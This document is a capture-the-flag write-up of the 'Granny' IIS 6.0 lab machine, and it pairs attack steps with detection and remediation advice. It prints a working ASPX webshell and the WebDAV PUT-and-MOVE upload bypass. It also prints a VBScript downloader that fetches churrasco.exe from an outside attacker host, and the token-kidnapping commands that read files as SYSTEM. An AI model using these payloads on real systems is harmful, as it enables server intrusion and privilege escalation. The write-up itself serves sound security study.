Overview
Granny is a companion box to Grandpa. Both run IIS 6.0 on Windows Server 2003 with identical privilege escalation paths. The critical difference is in initial access. On Grandpa, WebDAV write methods return 403 Forbidden, forcing exploitation via a buffer overflow (CVE-2017-7269). On Granny, PUT is permitted. Direct file upload via WebDAV replaces the need for a memory corruption exploit entirely.
The attack chain: upload an ASPX webshell as a .txt file via PUT, then rename
it to .aspx via MOVE. IIS 6.0 manages classic ASP (.asp) and ASP.NET
(.aspx) through separate ISAPI handler mappings. The root virtual directory
blocks classic ASP execution, but ASP.NET is unrestricted because its handler
(aspnet_isapi.dll) operates independently of the ASP handler (asp.dll).
This is not a bug; it is how IIS 6.0’s architecture works. Blocking one
scripting engine has no effect on the other. Once running as NETWORK SERVICE,
token kidnapping via churrasco.exe (MS09-012) escalates to SYSTEM. Total time
from port scan to root flag: 4 minutes.
The broader lesson is about access control as a security boundary. Granny and Grandpa are identical systems where a single configuration difference (PUT allowed vs. PUT blocked) changes the entire initial access approach. The configuration delta is one checkbox in IIS Manager.
Reconnaissance
I start with a service-version scan. The -A flag adds OS detection and
traceroute, which is useful on single-port hosts where OS fingerprinting data
is sparse:
nmap -sC -sV -A -T4 -oA scans/granny 10.129.95.234
| Port | Service | Product / Version | Notes |
|---|---|---|---|
| 80 | HTTP | Microsoft IIS httpd 6.0 | Default “Under Construction” page |
A single open port. The remaining 999 ports in the default scan range are
filtered (not closed), indicating a host firewall that drops packets silently
rather than sending RST. This is typical of Windows Server 2003’s built-in
firewall. Nmap’s default scripts include http-webdav-scan, which
automatically probes for WebDAV methods:
| http-webdav-scan:
| Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST,
| COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
| Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST,
| COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
Both PUT and MOVE appear in the allowed methods list. The Public header
(RFC 2068, removed in HTTP/1.1) lists methods the server supports; Allowed
lists methods permitted on the specific resource. They match here, meaning no
per-directory restrictions are in place. On Grandpa, these methods appear in
Public but return 403 when tested, because Write access is disabled in the IIS
virtual directory configuration.
| Component | Version |
|---|---|
| Operating System | Windows Server 2003 SP2 (5.2.3790) |
| Web Server | Microsoft IIS 6.0 |
| Extensions | WebDAV (PUT/MOVE enabled), ASP.NET (.NET 2.0) |
Attack Surface Analysis
WebDAV write access confirmation
The OPTIONS response claims PUT is allowed, but WebDAV servers frequently advertise methods they then reject based on authentication or directory settings. I verify with an actual upload:
curl -s -X PUT http://10.129.95.234/test.txt -d "hello world" \
-o /dev/null -w "%{http_code}"
# 201
curl -s http://10.129.95.234/test.txt
# hello world
PUT returns 201 Created. The file is immediately accessible. No authentication headers were sent; WebDAV write access is anonymous.
Extension execution testing
The next question is which scripting engines execute. IIS 6.0 supports classic ASP, ASP.NET, and several other ISAPI extensions. I test ASP first because it is the default scripting engine on IIS 6.0:
curl -s -X PUT http://10.129.95.234/test.asp \
-d '<%response.write("test")%>' -o /dev/null -w "%{http_code}"
# 201
curl -s http://10.129.95.234/test.asp -o /dev/null -w "%{http_code}"
# 403
PUT succeeds for .asp, but requesting the file returns 403 Forbidden. This
means the file was written to disk but the ASP ISAPI handler (asp.dll)
refuses to execute it. The 403 rather than 404 confirms the file exists; IIS is
actively blocking execution, not failing to find the resource.
I then test .aspx directly:
curl -s -X PUT http://10.129.95.234/test2.aspx \
-d '<%@ Page Language="VB" %><% Response.Write("test") %>' \
-o /dev/null -w "%{http_code}"
# 403
Direct PUT of .aspx also returns 403. This is WebDAV’s extension filtering:
IIS blocks upload of files with executable extensions. The bypass is the MOVE
method. Upload as .txt (which WebDAV allows), then rename to .aspx via
MOVE. The MOVE handler does not re-check the destination extension against the
upload filter. This is a well-documented IIS 6.0 behaviour.
Vulnerability Analysis
The attack combines two weaknesses:
1. Unrestricted WebDAV write access with MOVE bypass (CWE-434). IIS 6.0 is configured with WebDAV enabled for anonymous users. PUT accepts unauthenticated requests for non-executable extensions. The MOVE method permits renaming files to any extension without re-validating the upload filter. The root cause is a design gap in IIS 6.0’s WebDAV implementation: upload filtering and rename filtering are independent checks, and MOVE does not invoke the upload filter.
2. MS09-012 token kidnapping (CWE-269). On Windows Server 2003, the
NETWORK SERVICE account holds SeAssignPrimaryTokenPrivilege and
SeImpersonatePrivilege. These privileges exist because NETWORK SERVICE needs
to impersonate clients for delegation scenarios. Churrasco.exe (the public
exploit for MS09-012) abuses a flaw in the Windows Local Security Authority
that allows a service account with impersonation privileges to create a new
process running as SYSTEM. The technique is a predecessor to the Potato family
of exploits (RottenPotato, JuicyPotato, PrintSpoofer) that target the same
privilege class on newer Windows versions.
| Attribute | Value |
|---|---|
| CVE | N/A (WebDAV misconfiguration) + MS09-012 |
| CVSS v3 | 9.8 (WebDAV), 7.8 (MS09-012) |
| CWE | CWE-434 (Unrestricted Upload), CWE-269 (Improper Privilege) |
| MITRE ATT&CK | T1190 (Initial Access), T1134.001 (Token Impersonation) |
Exploitation
ASPX webshell via PUT + MOVE
I chose a VB.NET webshell over C# for a specific reason: .NET 2.0 on Windows
Server 2003 handles VB.NET inline compilation (<% %> blocks) more reliably
than C# inline code. C# inline compilation sometimes fails silently on IIS 6.0
with .NET 2.0 when the compilerOptions configuration is missing from
web.config. VB.NET has no such dependency.
The webshell captures both stdout and stderr, and HTML-encodes the output to prevent IIS from interpreting special characters:
cat > shell.aspx << 'EOF'
<%@ Page Language="VB" %>
<%@ Import Namespace="System.Diagnostics" %>
<%
Dim c As String = Request("cmd")
If c <> "" Then
Dim p As New Process()
p.StartInfo.FileName = "cmd.exe"
p.StartInfo.Arguments = "/c " & c
p.StartInfo.UseShellExecute = False
p.StartInfo.RedirectStandardOutput = True
p.StartInfo.RedirectStandardError = True
p.Start()
Dim o As String = p.StandardOutput.ReadToEnd()
o &= p.StandardError.ReadToEnd()
p.WaitForExit()
Response.Write("<pre>" & Server.HtmlEncode(o) & "</pre>")
End If
%>
EOF
Upload as .txt, then rename to .aspx:
curl -s -X PUT http://10.129.95.234/shell.txt \
--data-binary @shell.aspx -o /dev/null -w "%{http_code}"
# 201
curl -s -X MOVE http://10.129.95.234/shell.txt \
-H "Destination: http://10.129.95.234/shell.aspx" \
-o /dev/null -w "%{http_code}"
# 201
The MOVE response of 201 confirms the rename succeeded. I verify code execution:
curl -s "http://10.129.95.234/shell.aspx?cmd=whoami"
# nt authority\network service
The webshell executes as NETWORK SERVICE. This is the default identity for the
IIS 6.0 application pool (DefaultAppPool). NETWORK SERVICE has limited local
privileges but holds the impersonation tokens needed for escalation.
Privilege escalation via token kidnapping
NETWORK SERVICE cannot read user profiles directly. The C:\Documents and Settings\Lakis\ and C:\Documents and Settings\Administrator\ directories
have ACLs restricting access to their respective owners and Administrators.
Privilege escalation is required for both flags.
First, I check which privileges the current account holds:
curl -s "http://10.129.95.234/shell.aspx?cmd=whoami+/priv"
SeAssignPrimaryTokenPrivilege and SeImpersonatePrivilege are both present.
These are the two privileges churrasco.exe requires.
Windows Server 2003 lacks certutil -urlcache, bitsadmin (present but
without the /transfer flag), and PowerShell. The only built-in HTTP download
mechanism is the Microsoft.XMLHTTP COM object paired with ADODB.Stream for
binary file writing. I construct a VBScript downloader, written line by line
through the webshell because the echo command appends each line to the
script:
# Write VBS downloader line by line through the webshell
curl -s "http://10.129.95.234/shell.aspx?cmd=echo+Set+o%3DCreateObject(%22Microsoft.XMLHTTP%22)+>+C:\WINDOWS\Temp\d.vbs"
curl -s "http://10.129.95.234/shell.aspx?cmd=echo+o.Open+%22GET%22,%22http://10.10.14.5:8888/churrasco.exe%22,False+>>+C:\WINDOWS\Temp\d.vbs"
curl -s "http://10.129.95.234/shell.aspx?cmd=echo+o.Send+>>+C:\WINDOWS\Temp\d.vbs"
curl -s "http://10.129.95.234/shell.aspx?cmd=echo+Set+s%3DCreateObject(%22ADODB.Stream%22)+>>+C:\WINDOWS\Temp\d.vbs"
curl -s "http://10.129.95.234/shell.aspx?cmd=echo+s.Open+>>+C:\WINDOWS\Temp\d.vbs"
curl -s "http://10.129.95.234/shell.aspx?cmd=echo+s.Type%3D1+>>+C:\WINDOWS\Temp\d.vbs"
curl -s "http://10.129.95.234/shell.aspx?cmd=echo+s.Write+o.ResponseBody+>>+C:\WINDOWS\Temp\d.vbs"
curl -s "http://10.129.95.234/shell.aspx?cmd=echo+s.SaveToFile+%22C:\WINDOWS\Temp\c.exe%22,2+>>+C:\WINDOWS\Temp\d.vbs"
curl -s "http://10.129.95.234/shell.aspx?cmd=echo+s.Close+>>+C:\WINDOWS\Temp\d.vbs"
# Execute the downloader
curl -s "http://10.129.95.234/shell.aspx?cmd=cscript+C:\WINDOWS\Temp\d.vbs"
I write to C:\WINDOWS\Temp\ rather than the web root because Temp is
world-writable and less likely to be monitored. The web root would also work
but leaves artefacts visible to anyone browsing the site.
Churrasco’s command parser splits arguments on spaces without supporting
quoting. Paths containing spaces (C:\Documents and Settings) break the
parser. The workaround is 8.3 short filenames, which Windows Server 2003
generates by default for all files and directories:
# User flag
curl -s "http://10.129.95.234/shell.aspx?cmd=C:\WINDOWS\Temp\c.exe+%22type+DOCUME~1\Lakis\Desktop\user.txt%22"
# [redacted]
# Root flag
curl -s "http://10.129.95.234/shell.aspx?cmd=C:\WINDOWS\Temp\c.exe+%22type+DOCUME~1\ADMINI~1\Desktop\root.txt%22"
# [redacted]
Both flags obtained. Churrasco spawns a SYSTEM-level cmd.exe that executes
the type command, reading files that NETWORK SERVICE could not access.
Post-Exploitation
curl -s "http://10.129.95.234/shell.aspx?cmd=systeminfo"
OS Name: Microsoft(R) Windows(R) Server 2003, Standard Edition
OS Version: 5.2.3790 Service Pack 2 Build 3790
Windows Server 2003 reached end-of-life on 14 July 2015. IIS 6.0 has
accumulated hundreds of known CVEs since, including CVE-2017-7269 (a buffer
overflow in the WebDAV ScStoragePathFromUrl function, disclosed March 2017,
two years after EOL). The system is permanently vulnerable; Microsoft will not
release further patches.
Beyond MS09-012, several other privilege escalation paths exist on this host.
CVE-2014-4076 (Windows TCP/IP ioctl vulnerability) and CVE-2014-1767
(Ancillary Function Driver double-free) both affect unpatched Windows Server
2003 SP2. The token kidnapping approach was chosen because it is the most
reliable: it requires no kernel interaction and works consistently across
service pack levels.
Defensive Analysis
Detection opportunities
| Phase | MITRE ATT&CK | Detection |
|---|---|---|
| Initial access | T1190 | IIS logs: PUT and MOVE requests to any URI |
| Defence evasion | T1036.008 | IIS logs: MOVE with Destination header containing .aspx |
| Persistence | T1505.003 | File integrity: new .aspx files in the IIS web root |
| Execution | T1059.005 | Process: cscript.exe launching from C:\WINDOWS\Temp\ |
| Privilege esc. | T1134.001 | Sysmon: NETWORK SERVICE child process running as SYSTEM |
IIS W3C logs: PUT and MOVE are not normal HTTP methods in most
environments. Any PUT or MOVE request from an external address is a
high-confidence indicator, particularly when the Destination header contains
an executable extension (.aspx, .asp, .exe, .dll). The IIS default log
format includes the HTTP method and URI but not request headers. Enabling the
cs(Destination) field in the W3C extended log format would capture the MOVE
target.
Process monitoring: cmd.exe spawned as a child of w3wp.exe (the IIS
worker process) is anomalous in any environment. Legitimate web applications do
not shell out to cmd.exe. An executable dropped to C:\WINDOWS\Temp\
followed by a child process running as SYSTEM is the churrasco pattern
specifically. Sysmon Event ID 1 (process creation) with ParentImage
containing w3wp.exe would catch this.
VBS downloader detection: cscript.exe or wscript.exe creating
Microsoft.XMLHTTP and ADODB.Stream COM objects is a standard
post-exploitation indicator. Windows Script Host logging (if enabled) records
the script contents. On newer Windows versions, AMSI would inspect the script;
Windows Server 2003 has no equivalent.
Remediation
| Priority | Action | Effort | Impact |
|---|---|---|---|
| P0 | Decommission Windows Server 2003 (EOL since July 2015) | High | Critical |
| P0 | Disable WebDAV in IIS or block PUT/MOVE at the perimeter | Low | Critical |
| P1 | If WebDAV is required, restrict to authenticated users | Low | High |
| P1 | Block executable extensions in WebDAV upload configuration | Low | High |
| P2 | Remove token privileges from service accounts where unneeded | Medium | Medium |
| P2 | Deploy WAF blocking WebDAV write methods from external IPs | Medium | Medium |
The fundamental problem is the operating system. Windows Server 2003 has been unsupported for over a decade. Even disabling WebDAV and restricting network access leaves the system vulnerable to kernel exploits, TCP/IP stack vulnerabilities, and other attack vectors that will never be patched. The only defensible remediation is migration to a supported OS.
For environments where IIS 6.0 must remain temporarily (legacy application dependencies), the minimum compensating controls are: disable WebDAV entirely via the IIS Web Service Extensions panel, restrict the application pool identity to a custom low-privilege account without impersonation tokens, and isolate the host on a dedicated network segment with ingress limited to port 80 from a reverse proxy.
Key Takeaways
-
Access control configuration is as important as software patching. Granny and Grandpa run identical software. The only difference is whether PUT is allowed. That single configuration change transforms the initial access approach from a clean file upload to a memory corruption exploit. Configuration hardening deserves the same rigour as patch management.
-
IIS 6.0 handler mappings are independent per scripting engine. Blocking classic ASP does not block ASP.NET. They use separate ISAPI DLLs (
asp.dllvs.aspnet_isapi.dll) with separate configuration. When one scripting engine is blocked, always test the others. The PUT + MOVE technique (upload as.txt, rename to.aspx) is a standard IIS 6.0 bypass that defenders should include in hardening reviews. -
The VBS XMLHTTP downloader is the standard legacy Windows file transfer technique. Windows Server 2003 lacks
certutil -urlcache, functionalbitsadmin /transfer, and PowerShell. TheMicrosoft.XMLHTTP+ADODB.StreamCOM objects are the only built-in HTTP download mechanism. Preparing this script in advance saves significant time on legacy targets. -
8.3 short filenames bypass argument parsing issues. Tools that split command arguments on spaces (like churrasco) cannot handle paths such as
C:\Documents and Settings. The short namesDOCUME~1andADMINI~1avoid this entirely. On any Windows system older than Vista, 8.3 name generation is enabled by default. On Vista and later, it can be disabled via theNtfsDisable8dot3NameCreationregistry key, so verify withdir /xbefore relying on short names.